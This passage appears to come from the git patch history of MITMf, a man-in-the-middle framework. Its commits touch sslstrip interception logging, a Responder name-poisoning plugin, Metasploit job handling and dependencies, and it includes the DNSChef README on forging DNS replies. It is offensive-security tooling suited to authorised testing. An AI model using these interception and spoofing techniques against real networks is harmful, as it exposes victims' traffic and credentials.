self.rpcip}) - msf.login('msf', self.rpcpass) - - jobs = msf.call('job.list') - if len(jobs) > 0: - print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.iteritems(): - msf.call('job.stop', [k]) - - consoles = msf.call('console.list')['consoles'] - if len(consoles) > 0: - print "[*] Closing all virtual consoles" - for console in consoles: - msf.call('console.destroy', [console['id']]) diff --git a/requirements.txt b/requirements.txt index 06c30e4..ababa30 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,4 +9,5 @@ configobj pyyaml ua-parser Pillow -pefile \ No newline at end of file +pefile +pypcap \ No newline at end of file From 88a4e159006678230645965fd1ab387cc4268ab5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 16 Apr 2015 01:38:28 +0200 Subject: [PATCH 007/181] fixed some output --- core/sslstrip/ClientRequest.py | 2 +- core/sslstrip/DnsCache.py | 2 +- core/sslstrip/ServerConnection.py | 9 ++++++--- libs/dnschef | 2 +- 4 files changed, 9 insertions(+), 6 deletions(-) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index a132d2b..11db682 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -189,7 +189,7 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, str(address))) + mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 926835a..355fd12 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -51,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address)) + mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 2ce07ac..d5acf5f 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -75,6 +75,7 @@ class ServerConnection(HTTPClient): self.clientInfo = "{} ".format(self.client.getClientIP()) mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) + mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) self.plugins.hook() self.sendCommand(self.command, self.uri) @@ -105,7 +106,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("[ServerConnection] Got server response: {0} {1} {2}".format(version, code, message)) + mitmf_logger.debug("[ServerConnection] Server response: {0} {1} {2}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -167,8 +168,10 @@ class ServerConnection(HTTPClient): mitmf_logger.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - #mitmf_logger.debug("Read from server:\n" + data) - mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + if len(data) < 1500: + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data:\n{}".format(len(data), data)) + else: + mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) res = self.plugins.hook() diff --git a/libs/dnschef b/libs/dnschef index 9707672..d24a8c2 160000 --- a/libs/dnschef +++ b/libs/dnschef @@ -1 +1 @@ -Subproject commit 9707672de62bd42f651fabc6f9d368d7a67b4d99 +Subproject commit d24a8c2237eaae372e60a47f175694e8afa07c32 From 33c9eda05b8e23139b1fb04efed7ae3d22444010 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 17 Apr 2015 02:11:00 +0200 Subject: [PATCH 008/181] fixed the responder plugin (im a dummy) --- libs/responder | 2 +- plugins/Responder.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/libs/responder b/libs/responder index 137e8ee..fe4eab5 160000 --- a/libs/responder +++ b/libs/responder @@ -1 +1 @@ -Subproject commit 137e8eea61ef3c3d0426312a72894d6a4ed32cef +Subproject commit fe4eab580de4ba89d82c16d88670c72c712c332a diff --git a/plugins/Responder.py b/plugins/Responder.py index 9c51545..81c0186 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -48,15 +48,15 @@ class Responder(Plugin): if options.Analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - resp = ResponderMITMf(options, config) - #resp.setCoreVars(options, config) + resp = ResponderMITMf() + resp.setCoreVars(options, config) - result = resp.AnalyzeICMPRedirect(options.Analyze) + result = resp.AnalyzeICMPRedirect() if result: for line in result: self.tree_output.append(line) - #resp.printDebugInfo() + resp.printDebugInfo() resp.start() def plugin_reactor(self, strippingFactory): From eebd7e1978282a7762cf7635a1dab25b6e9dd494 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 18 Apr 2015 14:13:58 +0200 Subject: [PATCH 009/181] added ipy to requirements.txt as noticed in #65 --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index bd78b51..2884b87 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,4 +10,5 @@ pyyaml ua-parser Pillow pefile +ipy pypcap From a766c685b1f28d47ed38a545c33681b077833719 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 18 Apr 2015 14:31:38 +0200 Subject: [PATCH 010/181] also added pyopenssl and service_identity to requirements.txt --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/requirements.txt b/requirements.txt index 2884b87..92682db 100644 --- a/requirements.txt +++ b/requirements.txt @@ -11,4 +11,6 @@ ua-parser Pillow pefile ipy +pyopenssl +service_identity pypcap From 96eb4e2fa6d3c0971c074bba60c23724342a5eba Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 18 Apr 2015 15:08:11 +0200 Subject: [PATCH 011/181] added capstone in requirements.txt modified setup and update scripts --- requirements.txt | 1 + setup.sh | 5 ----- update.sh | 1 - 3 files changed, 1 insertion(+), 6 deletions(-) diff --git a/requirements.txt b/requirements.txt index 92682db..7de32f8 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,4 +13,5 @@ pefile ipy pyopenssl service_identity +capstone pypcap diff --git a/setup.sh b/setup.sh index 5191a97..282b969 100755 --- a/setup.sh +++ b/setup.sh @@ -1,8 +1,3 @@ #!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must be root" 2>&1 - exit 1 -fi git submodule init && git submodule update --recursive -cd libs/bdfactory/ && ./install.sh diff --git a/update.sh b/update.sh index fa51c12..4781f30 100755 --- a/update.sh +++ b/update.sh @@ -9,4 +9,3 @@ git pull echo 'Updating the-backdoor-factory' cd libs/bdfactory/ git pull origin master -./update.sh From 663f38e732ee1681b226d48fddec922cb6b3d1c3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 19 Apr 2015 23:32:52 +0200 Subject: [PATCH 012/181] initial dynamic config support added configwatcher.py --- .gitmodules | 3 - README.md | 12 +- config/mitmf.conf | 2 +- core/configwatcher.py | 49 +++ core/dnschef/CHANGELOG | 29 ++ core/dnschef/LICENSE | 25 ++ core/dnschef/README.md | 339 +++++++++++++++ core/dnschef/__init__.py | 0 core/dnschef/dnschef.py | 502 +++++++++++++++++++++++ core/sslstrip/ClientRequest.py | 20 +- core/sslstrip/SSLServerConnection.py | 12 +- core/sslstrip/ServerConnection.py | 10 +- core/sslstrip/ServerConnectionFactory.py | 4 +- core/sslstrip/URLMonitor.py | 75 ++-- core/utils.py | 106 +++-- libs/dnschef | 1 - mitmf.py | 66 +-- plugins/AppCachePoison.py | 9 +- plugins/BeefAutorun.py | 106 +++-- plugins/BrowserProfiler.py | 2 +- plugins/FilePwn.py | 78 ++-- plugins/Inject.py | 9 +- plugins/SSLstrip+.py | 2 +- plugins/Spoof.py | 2 +- plugins/plugin.py | 4 - requirements.txt | 1 + 26 files changed, 1187 insertions(+), 281 deletions(-) create mode 100644 core/configwatcher.py create mode 100644 core/dnschef/CHANGELOG create mode 100644 core/dnschef/LICENSE create mode 100644 core/dnschef/README.md create mode 100644 core/dnschef/__init__.py create mode 100755 core/dnschef/dnschef.py delete mode 160000 libs/dnschef diff --git a/.gitmodules b/.gitmodules index ca49b01..fbdd874 100644 --- a/.gitmodules +++ b/.gitmodules @@ -7,6 +7,3 @@ [submodule "core/beefapi"] path = core/beefapi url = https://github.com/byt3bl33d3r/beefapi -[submodule "libs/dnschef"] - path = libs/dnschef - url = https://github.com/byt3bl33d3r/dnschef diff --git a/README.md b/README.md index 109f42d..3334510 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,13 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox ============================ As of v0.9.6, the fork of the ```python-netfilterqueue``` library is no longer required. +How to install on Kali +====================== + +```apt-get install mitmf``` + +**Currently Kali has a very old version of MITMf in it's repos, please read the [Installation](#installation) section to get the latest version** + Installation ============ If MITMf is not in your distros repo or you just want the latest version: @@ -79,8 +86,3 @@ If you find a *bug* please open an issue and include at least the following in t - OS your using Also remember: Github markdown is your friend! - -How to install on Kali -====================== - -```apt-get install mitmf``` diff --git a/config/mitmf.conf b/config/mitmf.conf index f1f5b32..58d82e5 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -40,7 +40,7 @@ nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawl.org=192.0.2.1 + *.thesprawls.org=192.0.2.1 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 diff --git a/core/configwatcher.py b/core/configwatcher.py new file mode 100644 index 0000000..0a2e570 --- /dev/null +++ b/core/configwatcher.py @@ -0,0 +1,49 @@ +#! /usr/bin/env python2.7 + +import logging + +logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +from watchdog.observers import Observer +from watchdog.events import FileSystemEventHandler + +from configobj import ConfigObj + +mitmf_logger = logging.getLogger('mitmf') + +class ConfigWatcher(FileSystemEventHandler): + + _instance = None + + def __init__(self): + + self.config = ConfigObj("./config/mitmf.conf") + + @staticmethod + def getInstance(): + if ConfigWatcher._instance is None: + ConfigWatcher._instance = ConfigWatcher() + + return ConfigWatcher._instance + + def startConfigWatch(self): + observer = Observer() + observer.schedule(self, path='./config', recursive=False) + observer.start() + + def getConfig(self): + return self.config + + def on_modified(self, event): + mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__)) + self.reloadConfig() + self.onConfigChange() + + def onConfigChange(self): + """ We can subclass this function to do stuff after the config file has been modified""" + pass + + def reloadConfig(self): + try: + self.config = ConfigObj("./config/mitmf.conf") + except Exception, e: + mitmf_logger.warning("Error reloading config file: {}".format(e)) diff --git a/core/dnschef/CHANGELOG b/core/dnschef/CHANGELOG new file mode 100644 index 0000000..727a7d7 --- /dev/null +++ b/core/dnschef/CHANGELOG @@ -0,0 +1,29 @@ +Version 0.3 + +* Added support for the latest version of the dnslib library - 0.9.3 +* Added support for logging. (idea by kafeine) +* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix) +* Added support for TCP remote nameserver connections. (idea by mubix) +* DNS name matching is now case insensitive. +* Various small bug fixes and performance tweaks. +* Python libraries are no longer bundled with the distribution, but + compiled in the Windows binary. + +Version 0.2.1 + +* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi) + +Version 0.2 + +* Added IPv6 support. +* Added AAAA, MX, CNAME, NS, SOA and NAPTR support. +* Added support for ANY queries (returns all known fake records). +* Changed file format to support more DNS record types. +* Added alternative DNS port support (contributed by fnv). +* Added alternative listening port support for the server (contributed by Mark Straver). +* Updated bundled dnslib library to the latest version - 0.8.2. +* Included IPy library for IPv6 support. + +Version 0.1 + +* First public release diff --git a/core/dnschef/LICENSE b/core/dnschef/LICENSE new file mode 100644 index 0000000..b826757 --- /dev/null +++ b/core/dnschef/LICENSE @@ -0,0 +1,25 @@ +Copyright (C) 2014 Peter Kacherginsky +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/core/dnschef/README.md b/core/dnschef/README.md new file mode 100644 index 0000000..589a274 --- /dev/null +++ b/core/dnschef/README.md @@ -0,0 +1,339 @@ +DNSChef +======= + +The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/ + +DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet. + +There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below. + +The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination. + +Setting up a DNS Proxy +====================== + +Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use: + +* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running. + +* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1. + +* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1"). + +* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available). + +* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server. + +If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods. + +At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services. + +Running DNSChef +=============== + +DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well. + +Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53): + + # ./dnschef.py + + _ _ __ + | | version 0.2 | | / _| + __| |_ __ ___ ___| |__ ___| |_ + / _` | '_ \/ __|/ __| '_ \ / _ \ _| + | (_| | | | \__ \ (__| | | | __/ | + \__,_|_| |_|___/\___|_| |_|\___|_| + iphelix@thesprawl.org + + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] No parameters were specified. Running in full proxy mode + + +Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results: + + $ host -t A thesprawl.org + thesprawl.org has address 108.59.3.64 + +DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried: + + [23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org + +This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications. + +DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output: + + # ./dnschef.py -6 + _ _ __ + | | version 0.2 | | / _| + __| |_ __ ___ ___| |__ ___| |_ + / _` | '_ \/ __|/ __| '_ \ / _ \ _| + | (_| | | | \__ \ (__| | | | __/ | + \__,_|_| |_|___/\___|_| |_|\___|_| + iphelix@thesprawl.org + + [*] Using IPv6 mode. + [*] DNSChef started on interface: ::1 + [*] Using the following nameservers: 2001:4860:4860::8888 + [*] No parameters were specified. Running in full proxy mode + [00:35:44] ::1: proxying the response of type 'A' for thesprawl.org + [00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org + [00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org + +NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later. + +Intercept all responses +----------------------- + +Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter: + + # ./dnschef.py --fakeip 127.0.0.1 -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] Cooking all A replies to point to 127.0.0.1 + [23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 + [23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com + [23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com + +In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program: + + $ host google.com localhost + google.com has address 127.0.0.1 + google.com has IPv6 address 2001:4860:4001:803::1001 + google.com mail is handled by 10 aspmx.l.google.com. + google.com mail is handled by 40 alt3.aspmx.l.google.com. + google.com mail is handled by 30 alt2.aspmx.l.google.com. + google.com mail is handled by 20 alt1.aspmx.l.google.com. + google.com mail is handled by 50 alt4.aspmx.l.google.com. + +As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request. + +Let's fake one more request to illustrate how to target multiple records at the same time: + + # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] Cooking all A replies to point to 127.0.0.1 + [*] Cooking all AAAA replies to point to ::1 + [00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 + [00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1 + [00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com + +In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output: + + $ host google.com localhost + google.com has address 127.0.0.1 + google.com has IPv6 address ::1 + google.com mail is handled by 10 aspmx.l.google.com. + google.com mail is handled by 40 alt3.aspmx.l.google.com. + google.com mail is handled by 30 alt2.aspmx.l.google.com. + google.com mail is handled by 20 alt1.aspmx.l.google.com. + google.com mail is handled by 50 alt4.aspmx.l.google.com. + +Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine. + +DNSChef supports multiple record types: + + +--------+--------------+-----------+--------------------------+ + | Record | Description |Argument | Example | + +--------+--------------+-----------+--------------------------+ + | A | IPv4 address |--fakeip | --fakeip 192.0.2.1 | + | AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 | + | MX | Mail server |--fakemail | --fakemail mail.fake.com | + | CNAME | CNAME record |--fakealias| --fakealias www.fake.com | + | NS | Name server |--fakens | --fakens ns.fake.com | + +--------+--------------+-----------+--------------------------+ + +NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details. + +At last let's observe how the application handles queries of type ANY: + + # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] Cooking all A replies to point to 127.0.0.1 + [*] Cooking all AAAA replies to point to ::1 + [*] Cooking all MX replies to point to mail.fake.com + [*] Cooking all CNAME replies to point to www.fake.com + [*] Cooking all NS replies to point to ns.fake.com + [00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records. + +DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see: + + $ host -t ANY google.com localhost + google.com has address 127.0.0.1 + google.com has IPv6 address ::1 + google.com mail is handled by 10 mail.fake.com. + google.com is an alias for www.fake.com. + google.com name server ns.fake.com. + +Filtering domains +----------------- + +Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below: + + # ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org + [00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1 + [00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com + +From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest. + +NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not. + +Reverse filtering +----------------- + +In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows: + + # ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org + [00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com + [00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 + +There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains. + +NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org. + +External definitions file +------------------------- + +There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go. + +For example, let create the following definitions file and call it *dnschef.ini*: + + [A] + *.google.com=192.0.2.1 + thesprawl.org=192.0.2.2 + *.wordpress.*=192.0.2.3 + +Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries: + + # ./dnschef.py --file dnschef.ini -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [+] Cooking A replies for domain *.google.com with '192.0.2.1' + [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' + [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' + [00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 + [00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1 + [00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2 + [00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org + [00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3 + [00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3 + [00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org + +Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response. + +You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file: + + [PTR] + *.2.0.192.in-addr.arpa=fake.com + +Let's observe DNSChef's behavior with this new record type: + + ./dnschef.py --file dnschef.ini -q + [sudo] password for iphelix: + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com' + [00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com + +And here is what a client might see when performing reverse DNS queries: + + $ host 192.0.2.1 localhost + 1.2.0.192.in-addr.arpa domain name pointer fake.com. + +Some records require exact formatting. Good examples are SOA and NAPTR + + [SOA] + *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 + + [NAPTR] + *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . + +See sample dnschef.ini file for additional examples. + +Advanced Filtering +------------------ + +You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters: + + # ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [+] Cooking A replies for domain *.google.com with '192.0.2.1' + [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' + [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' + [*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org + [*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org + [00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 + [00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6 + [00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6 + [00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com + +Notice the definition for *thesprawl.org* in the command line parameter took precedence over *dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file. + +Other configurations +==================== + +For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter: + + # ./dnschef.py --interface 0.0.0.0 -q + [*] DNSChef started on interface: 0.0.0.0 + [*] Using the following nameservers: 8.8.8.8 + [*] No parameters were specified. Running in full proxy mode + [00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org + +or for IPv6: + + # ./dnschef.py -6 --interface :: -q + [*] Using IPv6 mode. + [*] DNSChef started on interface: :: + [*] Using the following nameservers: 2001:4860:4860::8888 + [*] No parameters were specified. Running in full proxy mode + [00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org + +By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter: + + # ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 4.2.2.1, 4.2.2.2 + [*] No parameters were specified. Running in full proxy mode + [00:55:08] 127.0.0.1: proxying the response of type 